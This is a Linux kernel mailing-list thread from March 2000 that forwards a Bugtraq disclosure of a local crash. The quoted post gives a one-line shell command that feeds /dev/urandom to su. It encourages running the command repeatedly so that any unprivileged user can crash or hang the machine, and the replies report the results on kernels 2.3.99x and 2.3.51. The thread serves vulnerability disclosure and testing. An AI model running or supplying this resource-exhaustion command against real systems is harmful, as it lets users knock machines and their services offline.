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SubjectRe: Local Linux Crash (fwd)
On Sat, Mar 25, 2000 at 07:23:12AM +0100, Mike Galbraith wrote:
> On Fri, 24 Mar 2000, ADAM Sulmicki wrote:
>
> > FYI.
> >
> > I'm just messenger.
> > I saw it on bugtraq and would pass it.
> > Don't shoot me
> > :-)
> >
> > ---------- Forwarded message ----------
> > Date: Fri, 24 Mar 2000 18:42:03 +0200
> > From: Javor Ninov <javor@multigroup-bg.com>
> > To: BUGTRAQ@SECURITYFOCUS.COM
> > Subject: Local Linux Crash
> >
> > Tested on SlackWare 7.0 2.2.14
> > After short time this will crash Linux box:
> > su `cat /dev/urandom` > /dev/null |< su `cat /dev/urandom`&
> >
> > for a better efect start it several times :-))
> > This can be done be any regular user !
>
> On 2.3.99x at least, this only acts as a resource hog. After setting
> limits, bash grew steadily until...
>
> bash: xrealloc: cannot reallocate 4194304 bytes (0 bytes allocated)
>
> ...and then politely exited.

I started it 5 times, no limits. The first 3 did that too.

Then VM killed 1 bash, and then killed klogd every second, couldn't do a
thing with the system anymore.

This was using 2.3.51


Kurt

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